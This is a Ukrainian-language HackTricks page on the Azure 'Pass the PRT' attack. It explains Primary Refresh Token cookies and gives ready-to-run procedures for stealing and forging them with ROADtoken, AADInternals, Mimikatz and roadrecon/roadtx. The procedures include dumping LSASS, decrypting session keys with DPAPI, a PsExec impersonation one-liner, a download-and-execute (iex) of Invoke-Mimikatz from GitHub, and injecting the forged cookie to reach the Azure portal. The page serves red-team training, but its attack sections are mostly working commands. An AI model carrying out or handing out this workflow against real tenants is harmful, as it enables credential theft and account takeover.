Az - Pass the PRT

Reading time: 10 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Що таке PRT

Az - Primary Refresh Token (PRT)

Перевірте, чи маєте ви PRT

Dsregcmd.exe /status

У розділі SSO State ви повинні побачити AzureAdPrt, встановлений на YES.

У тому ж виході ви також можете побачити, чи пристрій приєднано до Azure (у полі AzureAdJoined):

PRT cookie насправді називається x-ms-RefreshTokenCredential і це JSON Web Token (JWT). JWT містить 3 частини, заголовок, вантаж і підпис, розділені . і всі кодуються в base64, безпечному для URL. Типовий PRT cookie містить наступний заголовок і тіло:

json
{
"alg": "HS256",
"ctx": "oYKjPJyCZN92Vtigt/f8YlVYCLoMu383"
}
{
"refresh_token": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAZ18nQkT-eD6Hqt7sf5QY0iWPSssZOto]<cut>VhcDew7XCHAVmCutIod8bae4YFj8o2OOEl6JX-HIC9ofOG-1IOyJegQBPce1WS-ckcO1gIOpKy-m-JY8VN8xY93kmj8GBKiT8IAA",
"is_primary": "true",
"request_nonce": "AQABAAAAAAAGV_bv21oQQ4ROqh0_1-tAPrlbf_TrEVJRMW2Cr7cJvYKDh2XsByis2eCF9iBHNqJJVzYR_boX8VfBpZpeIV078IE4QY0pIBtCcr90eyah5yAA"
}

Актуальний Primary Refresh Token (PRT) інкапсульований у refresh_token, який зашифрований ключем під контролем Azure AD, що робить його вміст непрозорим і нездешифровуваним для нас. Поле is_primary позначає інкапсуляцію первинного токена оновлення в цьому токені. Щоб забезпечити прив'язку куки до конкретної сесії входу, request_nonce передається зі сторінки logon.microsoftonline.com.

Потік куки PRT з використанням TPM

Процес LSASS надішле до TPM KDF context, а TPM використає session key (зібраний під час реєстрації пристрою в AzureAD і збережений у TPM) та попередній контекст для виведення ключа, і цей виведений ключ використовується для підписання куки PRT (JWT).

KDF context - це nonce з AzureAD та PRT, що створює JWT, змішаний з контекстом (випадкові байти).

Отже, навіть якщо PRT не можна витягти, оскільки він знаходиться всередині TPM, можливо зловживати LSASS для запиту виведених ключів з нових контекстів і використання згенерованих ключів для підписання куки.

Сценарії зловживання PRT

Як звичайний користувач, можливо запитати використання PRT, звернувшись до LSASS за даними SSO.
Це можна зробити як нативні додатки, які запитують токени у Web Account Manager (брокер токенів). WAM передає запит до LSASS, який запитує токени, використовуючи підписане твердження PRT. Або це можна зробити за допомогою браузерних (веб) потоків, де PRT cookie використовується як заголовок для автентифікації запитів до сторінок входу Azure AS.

Як SYSTEM ви можете викрасти PRT, якщо він не захищений TPM або взаємодіяти з ключами PRT у LSASS, використовуючи крипто API.

Приклади атак Pass-the-PRT

Атака - ROADtoken

Для отримання додаткової інформації про цей спосіб перевірте цей пост. ROADtoken запустить BrowserCore.exe з правильного каталогу та використає його для отримання куки PRT. Цю куки можна використовувати з ROADtools для автентифікації та отримання постійного токена оновлення.

Щоб згенерувати дійсну куки PRT, перше, що вам потрібно, це nonce.
Ви можете отримати це за допомогою:

bash
$TenantId = "19a03645-a17b-129e-a8eb-109ea7644bed"
$URL = "https://login.microsoftonline.com/$TenantId/oauth2/token"

$Params = @{
"URI"     = $URL
"Method"  = "POST"
}
$Body = @{
"grant_type" = "srv_challenge"
}
$Result = Invoke-RestMethod @Params -UseBasicParsing -Body $Body
$Result.Nonce
AwABAAAAAAACAOz_BAD0_8vU8dH9Bb0ciqF_haudN2OkDdyluIE2zHStmEQdUVbiSUaQi_EdsWfi1 9-EKrlyme4TaOHIBG24v-FBV96nHNMgAA

Або використовуючи roadrecon:

bash
roadrecon auth prt-init

Тоді ви можете використовувати roadtoken, щоб отримати новий PRT (запустіть у інструменті з процесу користувача для атаки):

bash
.\ROADtoken.exe <nonce>

Як однорядковий:

bash
Invoke-Command - Session $ps_sess -ScriptBlock{C:\Users\Public\PsExec64.exe - accepteula -s "cmd.exe" " /c C:\Users\Public\SessionExecCommand.exe UserToImpersonate C:\Users\Public\ROADToken.exe AwABAAAAAAACAOz_BAD0__kdshsy61GF75SGhs_[...] > C:\Users\Public\PRT.txt"}

Тоді ви можете використовувати згенерований cookie для генерації токенів для входу за допомогою Azure AD Graph або Microsoft Graph:

bash
# Generate
roadrecon auth --prt-cookie <prt_cookie>

# Connect
Connect-AzureAD --AadAccessToken <token> --AccountId <acc_ind>

Attack - Using roadrecon

Attack - Using AADInternals and a leaked PRT

Get-AADIntUserPRTToken отримує PRT токен користувача з комп'ютера, приєднаного до Azure AD або Hybrid. Використовує BrowserCore.exe для отримання PRT токена.

bash
# Get the PRToken
$prtToken = Get-AADIntUserPRTToken

# Get an access token for AAD Graph API and save to cache
Get-AADIntAccessTokenForAADGraph -PRTToken $prtToken

Або, якщо у вас є значення з Mimikatz, ви також можете використовувати AADInternals для генерації токена:

bash
# Mimikat "PRT" value
$MimikatzPRT="MC5BWU..."

# Add padding
while($MimikatzPrt.Length % 4) {$MimikatzPrt += "="}

# Decode
$PRT=[text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT))

# Mimikatz "Clear key" value
$MimikatzClearKey="37c5ecdfeab49139288d8e7b0732a5c43fac53d3d36ca5629babf4ba5f1562f0"

# Convert to Byte array and B64 encode
$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzClearKey -replace '..', '0x$&,' -split ',' -ne ''))

# Generate PRTToken with Nonce
$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
$prtToken
## You can already use this token ac cookie in the browser

# Get access token from prtToken
$AT = Get-AADIntAccessTokenForAzureCoreManagement -PRTToken $prtToken

# Verify access and connect with Az. You can see account id in mimikatz prt output
Connect-AzAccount -AccessToken $AT -TenantID <tenant-id> -AccountId <acc-id>

Перейдіть на https://login.microsoftonline.com, очистіть всі куки для login.microsoftonline.com і введіть новий куки.

Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

Тоді перейдіть на https://portal.azure.com

caution

Решта повинна бути за замовчуванням. Переконайтеся, що ви можете оновити сторінку, і кукі не зникне, якщо це станеться, ви могли зробити помилку і повинні пройти процес знову. Якщо ні, то все має бути в порядку.

Атака - Mimikatz

Кроки

  1. PRT (Primary Refresh Token) витягується з LSASS (Local Security Authority Subsystem Service) і зберігається для подальшого використання.
  2. Наступним витягується Session Key. Оскільки цей ключ спочатку видається, а потім повторно шифрується локальним пристроєм, це вимагає розшифрування за допомогою DPAPI masterkey. Докладну інформацію про DPAPI (Data Protection API) можна знайти в цих ресурсах: HackTricks, а для розуміння його застосування зверніться до Pass-the-cookie attack.
  3. Після розшифрування Session Key, отримуються похідний ключ і контекст для PRT. Вони є критично важливими для створення кукі PRT. Зокрема, похідний ключ використовується для підписання JWT (JSON Web Token), що складає кукі. Докладне пояснення цього процесу надано Дірком-Яном, доступне тут.

caution

Зверніть увагу, що якщо PRT знаходиться всередині TPM і не всередині lsass, mimikatz не зможе його витягти.
Однак, буде можливим отримати ключ з похідного ключа з контексту з TPM і використовувати його для підписання кукі (перевірте опцію 3).

Ви можете знайти детальне пояснення виконаного процесу для витягнення цих деталей тут: https://dirkjanm.io/digging-further-into-the-primary-refresh-token/

warning

Це не буде точно працювати після виправлень серпня 2021 року для отримання PRT токенів інших користувачів, оскільки тільки користувач може отримати свій PRT (локальний адміністратор не може отримати PRT інших користувачів), але може отримати свій.

Ви можете використовувати mimikatz для витягнення PRT:

bash
mimikatz.exe
Privilege::debug
Sekurlsa::cloudap

# Or in powershell
iex (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Invoke-Mimikatz.ps1")
Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::cloudap"'

(Images from https://blog.netwrix.com/2023/05/13/pass-the-prt-overview)

Скопіюйте частину, позначену Prt, і збережіть її.
Також витягніть ключ сесії (KeyValue поля ProofOfPossesionKey), який ви можете побачити, виділений нижче. Він зашифрований, і нам потрібно буде використати наші майстер-ключі DPAPI для його розшифровки.

note

Якщо ви не бачите жодних даних PRT, це може бути тому, що у вас немає жодних PRT, оскільки ваш пристрій не приєднаний до Azure AD, або ви використовуєте стару версію Windows 10.

Щоб розшифрувати ключ сесії, вам потрібно підвищити свої привілеї до SYSTEM, щоб працювати в контексті комп'ютера і мати можливість використовувати майстер-ключ DPAPI для його розшифровки. Ви можете використовувати наступні команди для цього:

token::elevate
dpapi::cloudapkd /keyvalue:[PASTE ProofOfPosessionKey HERE] /unprotect

Option 1 - Full Mimikatz

  • Тепер ви хочете скопіювати значення Context:
  • І значення похідного ключа:
  • Нарешті, ви можете використати всю цю інформацію, щоб згенерувати PRT cookies:
bash
Dpapi::cloudapkd /context:[CONTEXT] /derivedkey:[DerivedKey] /Prt:[PRT]
  • Перейдіть на https://login.microsoftonline.com, очистіть всі куки для login.microsoftonline.com і введіть новий куки.
Name: x-ms-RefreshTokenCredential
Value: [Paste your output from above]
Path: /
HttpOnly: Set to True (checked)

увага

Решта повинна бути за замовчуванням. Переконайтеся, що ви можете оновити сторінку, і кукі не зникне, якщо це станеться, ви могли зробити помилку і вам доведеться пройти процес знову. Якщо ні, то все має бути добре.

Option 2 - roadrecon using PRT

  • Спочатку оновіть PRT, що зберегти його в roadtx.prt:
bash
roadtx prt -a renew --prt <PRT From mimikatz> --prt-sessionkey <clear key from mimikatz>
  • Тепер ми можемо запитувати токени за допомогою інтерактивного браузера з roadtx browserprtauth. Якщо ми використаємо команду roadtx describe, ми побачимо, що токен доступу містить вимогу MFA, оскільки PRT, який я використав у цьому випадку, також мав вимогу MFA.
bash
roadtx browserprtauth
roadtx describe < .roadtools_auth

Option 3 - roadrecon використовуючи похідні ключі

Маючи контекст і похідний ключ, вивантажений за допомогою mimikatz, можливо використовувати roadrecon для генерації нового підписаного cookie з:

bash
roadrecon auth --prt-cookie <cookie> --prt-context <context> --derives-key <derived key>

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks